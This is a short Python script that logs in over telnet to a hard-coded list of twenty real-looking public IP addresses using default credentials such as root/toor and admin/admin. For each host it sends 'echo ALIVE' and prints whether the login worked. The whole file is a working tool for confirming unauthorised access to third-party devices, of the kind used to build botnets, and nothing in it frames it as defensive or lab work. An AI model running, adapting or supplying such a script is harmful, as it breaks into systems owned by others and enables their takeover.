import socket, time
devices = [
    ("104.248.58.87", 23, "admin", "123456"),
    ("103.75.116.113", 23, "root", "toor"),
    ("103.75.116.88", 23, "root", "toor"),
    ("103.3.60.58", 23, "admin", "admin"),
    ("139.59.99.253", 23, "root", "toor"),
    ("103.73.66.210", 23, "admin", "admin"),
    ("5.188.70.249", 23, "root", "toor"),
    ("177.71.174.205", 23, "admin", "admin"),
    ("103.204.172.74", 23, "root", "toor"),
    ("103.159.132.105", 23, "root", "toor"),
    ("103.75.119.74", 23, "root", "toor"),
    ("139.60.160.37", 23, "admin", "welcome"),
    ("5.188.181.203", 23, "root", "toor"),
    ("103.153.254.35", 23, "root", "toor"),
    ("5.188.36.73", 23, "root", "toor"),
    ("103.203.241.70", 23, "root", "root"),
    ("103.106.230.57", 23, "root", "toor"),
    ("103.170.233.253", 23, "admin", "admin"),
    ("103.221.252.163", 23, "root", "toor"),
    ("187.127.233.111", 23, "admin", "admin"),
]

for ip, port, user, passwd in devices:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(6)
        s.connect((ip, port))
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(1)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(2)
            data = s.recv(4096).decode(errors="ignore")
        s.send(b"echo ALIVE\r\n")
        time.sleep(2)
        data = s.recv(4096).decode(errors="ignore")
        s.close()
        if "ALIVE" in data:
            print(f"OK {ip}")
        else:
            print(f"NO {ip}")
    except Exception as e:
        print(f"ERR {ip}")
